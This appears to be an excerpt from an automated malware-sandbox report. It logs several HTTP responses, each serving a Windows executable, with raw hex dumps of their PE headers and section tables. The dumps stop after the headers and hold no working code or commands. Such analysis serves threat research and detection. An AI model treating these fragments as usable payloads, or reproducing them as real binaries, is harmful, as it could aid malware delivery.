00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:43:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:43:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:43:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:43:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:43:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:43:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 13:43:53 GMTContent-Type: application/octet-streamContent-Length: 1843712Last-Modified: Wed, 20 Nov 2024 13:22:42 GMTConnection: keep-aliveETag: "673de2a2-1c2200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 49 00 00 04 00 00 4e 21 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 d1 48 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 d1 48 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 